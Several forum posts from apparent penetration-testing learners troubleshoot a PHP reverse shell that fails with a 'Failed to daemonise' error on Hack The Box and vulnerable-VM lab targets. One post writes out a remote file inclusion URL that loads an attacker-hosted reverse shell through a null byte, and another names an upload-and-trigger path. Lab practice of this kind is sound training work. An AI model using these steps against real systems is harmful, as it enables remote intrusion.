Hi,
Whenever I upload a reverse shell and try to connect to it after setting up a netcat listener this error shows up on the website:
Warning: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
Eventually I get a reverse shell but from my own machine (???) to my own machine. Did anyone have this problem or know why this is happening? Also how to fix it? This has been happening quite a while and I'm pretty sure I got the syntax right...
Open netcat listener before executing php and double check ip and port you typed into the netcat and php code and if you are uploading a (not typing in the php code directly to url) file change its name.
https://forum.hackthebox.eu/discussion/3208/php-reverse-shell-connection-refused-111
Hey Guys, thanks for the advice. I found out that the problem was that I was manually moving my files to /var/www/html/ and accessing the files from there. I don't know why that caused a problem but that did not work.
I watched IppSec's video and found out that he just uses a python -m simplehttpserver script to load the files on the apache server. When I tried that everything worked out. This is a tip for someone who happens to come across the same problem I had!
I have already rooted bashed, but I had to do it differently than IPPSec video presented on the retired machine's page. IPPSec uploads a reverse shell php script and activates it using 10.10.10.68/uploads/ReverseShell.php However, when I try this with the same script I get
"WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111) "
My research has led me to believe this is a firewall related issue. IPPSec's video did not have that issue, so I feel I missed something. Anyone out there have an idea of how to get around that error? What steps may or may not have been properly taken on my part?
Edit: Just to point out some pedantic ideas. Bashed is on the list of OSCP boxes to learn using IPPSec videos. Which tells me that the method IPPSec uses to root the box is what is important to OSCP (I might be interpreting this wrong). It is like a teacher telling you this method will be on the test. Yes his videos are just a guide, but that specific method is being called out by the community as important to the OSCP test. If I get an error on that, I need to know it is not me creating that error and doing something wrong.
I'm working on a vulnerable VM and I've found what I believe to be an RFI opportunity https://10.0.0.5/category.php?page=page1
Using a simplehttpserver I'm serving up pentestmonkey's reverse shell
https://10.0.0.5/category.php?page=http://10.0.0.120:8080/reverse-shell.php%00
and the page is showing the "Failed to daemonise" message I've seen many times. However my netcat listener cannot pick anything up, I've tried various ports but none work so far.
Given simplehttpserver isn't executing php files, the php shell MUST be being executed on the target right?
Any ideas, in a general sense, of what might be the issue here? I guess the machine could have firewall rules that make this approach impossible.
Any other ideas on how to approach it?